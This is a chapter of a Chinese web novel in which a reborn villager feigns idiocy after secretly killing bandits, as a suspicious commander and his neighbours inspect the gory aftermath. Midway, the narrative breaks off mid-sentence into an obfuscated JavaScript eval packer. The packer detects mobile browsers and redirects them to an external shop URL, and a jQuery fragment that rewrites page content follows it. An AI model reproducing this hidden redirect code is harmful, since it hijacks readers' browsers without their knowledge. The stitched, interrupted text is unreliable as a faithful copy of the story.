第106章 知青媳妇帮我打掩护

作品:《重生1975:从傻狍子到丛林之王

    周铁山眉头皱在一起。


    这一仗打得太顺,顺得他后脊梁骨直冒凉气。


    正当他琢磨着那两个消失的人影时,知青点方向的雪窝子里,突然钻出两个脑袋。


    老刘头狗皮帽子上顶着一坨雪,手里提着把沾血的铁匠锤,深一脚浅一脚地走了过来。


    跟在他后头的阿三,面色煞白,两条腿抖得很有节奏。


    “哎呀妈呀,周部长!”


    老刘头离老远就咧开嘴。


    “可算是找着组织了!刚才在那边井边上,碰着个漏网的兔崽子,想去知青点摸鱼,让我老刘一锤子给砸晕了,顺手给补了一刀。嘿,这手艺没生疏!”


    周铁山瞥了一眼他手里的铁锤,锤头上确实沾着点新鲜血丝和几根头发。


    “阿三呢?”


    周铁山看向后面那个吓得快尿裤子的货。


    阿三打了个哆嗦,硬是挺直了腰杆,可声音还在半空中飘:


    “报……报告领导!杨兄弟把……把沈知青托付给我,说那是他媳妇……不是,是他朋友。我……我就算死,也得守在门口,不能让胡子进去糟蹋人!”


    周铁山听了,眉头稍微松了松。


    这阿三看着怂,但这股子义气劲儿,倒是个地道的东北爷们。


    至于老刘头,这老东西平时比泥鳅还要滑,但关键时刻没掉链子,也算条汉子。


    “行了,归队!”周铁山一挥手,“天亮了,干活!”


    天色渐渐破晓,晨光洒在雪地上。


    战场的惨状没了夜色的掩盖,血淋淋地摆在了所有人面前。


    “哇呕!”


    几个民兵刚看清地上的光景,胃里一阵翻滚,扶着土墙狂吐不止。


    太惨了。


    这根本不是战斗,这是屠宰。


    村西头的背屋小道上,三个土匪横七竖八躺在那儿。


    一个喉结碎成了渣,脖子缩进腔子里。


    一个脑袋转了一百八十度,脸朝后背,死不瞑目。


    还有一个胸口塌陷,明显是被重物砸碎了肋骨。


    最瘆人的还是那个独眼龙。


    整个人被炸得残缺不全,身子焦黑,肠子流了一地,这会儿已经冻得硬邦邦,死死粘在了雪地上。


    周铁山蹲在一具墙根下的尸体前。


    咽喉被贯穿,一个通透的血窟窿,是箭伤。


    这力道,这准头……


    “是个顶尖高手。”


    周铁山眯起眼睛。


    这种杀人手法,干净利落,压根没半点多余动作,全是奔着要害去的。


    这得是在死人堆里滚过多少回,才能练出这身本事?


    “吱呀……”


    各家各户的门纷纷被推开了。


    胆大的汉子探出头,手里还攥着菜刀和粪叉子。


    等他们看清外头,一个个眼珠子瞪得溜圆,下巴都快掉地上了。


    “我的娘咧……这……这都是昨晚进村的土匪?”


    “死了?全死绝了?”


    越来越多的村民走了出来。


    原本以为昨晚是灭顶之灾,谁成想,土匪的尸体堆成了小山。


    恐惧过后,就是劫后余生的狂喜,紧接着又是深深的后怕。


    大家伙儿围着那些尸体指指点点,都在猜昨晚到底是哪路神仙显灵,救了全村老小的命。


    村子笼罩在又惊惧又解气的古怪气氛里。


    就在这时,杨家大院那扇厚重的木门,“吱嘎”一声开了。


    张桂兰缩着脖子,探头探脑地走了出来。


    她的脸上写满惊恐,可那双眼睛却滴溜溜乱转,那是刻在骨子里的爱看热闹。


    身后跟着杨金贵,一只手被张桂兰攥着,另一只手里捏着烟袋锅子,一脸的不情愿。


    “当家的,你快瞅瞅,外头咋没动静了?”


    张桂兰硬是把他往外拖。


    两人刚转过墙角。


    “哎哟妈呀!”


    张桂兰脚底下踩着了个软乎东西,低头一看,一只断手正孤零零地躺在雪窝子里,手指头还呈抓握状,指甲缝里全是泥。


    “嗷!”


    这一嗓子,惨过杀猪叫。


    张桂兰吓得原地蹦起,老脸煞白。


    杨金贵手一抖,烟袋锅子掉在地上,摔成了两截。


    “鬼叫什么!”周铁山不耐烦地吼了一句。


    张桂兰捂着胸口,大口喘气,刚想骂街,眼神一飘,定住了。


    不远处的牛车旁,蹲着个人。


    杨林松。


    他身上那件大衣敞着怀,手里拿着一根枯树枝,正蹲在独眼龙的尸体旁边。


    “嘿嘿……红糖水……滋滋冒泡……”


    杨林松一边傻笑,一边用树枝戳弄着独眼龙那只瞎眼的眼眶。


    树枝搅动,发出咕叽咕叽的声音。


    杨林松抬起脸时,张桂兰正好对上。


    那张脸上挂着天真无邪的笑,手里却抓着一根沾满红白之物的树枝,正冲着她挥舞:


    “大伯娘!你看!好多红糖浆糊!你要不要吃一口?”


    张桂兰胃里一阵翻涌。


    她脑子里突然蹦出昨晚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346061|199526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    窗外那声惨叫,想起那个被吊死在树上的土匪,再看着眼前这个满手鲜血的侄子。


    这哪里是傻子?分明是吃人的杀神!


    “啊……啊……”


    张桂兰喉咙里发出嘶哑声,两眼一翻,身子直挺挺往后倒去。


    “老婆子!”


    杨金贵吓得赶紧去扶,结果脚下一滑,两人滚作一团。


    周铁山没理会这对活宝,大步走到杨林松身后。


    那个独眼龙是被炸死的,虽然满脸焦黑,但还是可以清楚地看出,他少了一只耳朵。


    周铁山死死盯着杨林松的后脑勺。


    “林松。”


    他突然喊了一声。


    杨林松身子一僵,立马回过头。


    不慌不乱,只有一脸兴奋。


    “大军车叔叔!”


    杨林松举着那根带血的树枝,直接往周铁山身上扑。


    “你看!红红的!给你抹红红!过年啦!”


    那根树枝眼看着就要戳到周铁山的军衣上。


    周铁山下意识后退半步,眼里的疑虑还没散透。


    就在这时,一只白皙纤细的手伸了过来,一把抓住了杨林松的手腕。


    “林松!别闹!”


    沈雨溪不知什么时候走了过来。


    她脸虽苍白,眼神却很镇定。


    她掏出一块白手帕,一点点擦掉杨林松手上的血污,语气温和:


    “那是死人,不能玩,细菌沾了要生病的。”


    “嘿嘿……媳妇说埋汰,那就是埋汰。”


    杨林松立马扔了树枝,任由沈雨溪擦手,还把脑袋往她肩膀上蹭。


    旁边,老刘头适时插了一嘴,一脸嫌弃:


    “周部长,您可别高看这傻小子了。昨晚一打起来,这货吓得尿了一裤子,一直缩在牛车底下哆嗦,连头都不敢露。要不是沈知青护着,早让流弹给崩了。”


    周铁山看了一眼杨林松的裤裆,确实是结着一层冰碴子。


    那是他昨晚故意在雪窝子里滚出来的。


    再看他那副痴傻样,眼神清澈愚蠢,除了吃就是玩,哪有半点杀伐果断的影子?


    周铁山彻底打消了疑虑,叹了口气。


    也是,自己真是魔怔了。


    一个脑子烧坏了的傻子,怎能在黑夜里神不知鬼不觉地收割人命?


    傻人有傻福,这小子命是真硬。


    “行了,别擦了。”


    周铁山摆摆手,目光转向老刘头和阿三,眼神里多了几分盘算。


    “看来咱这村里,还是藏龙卧虎啊。”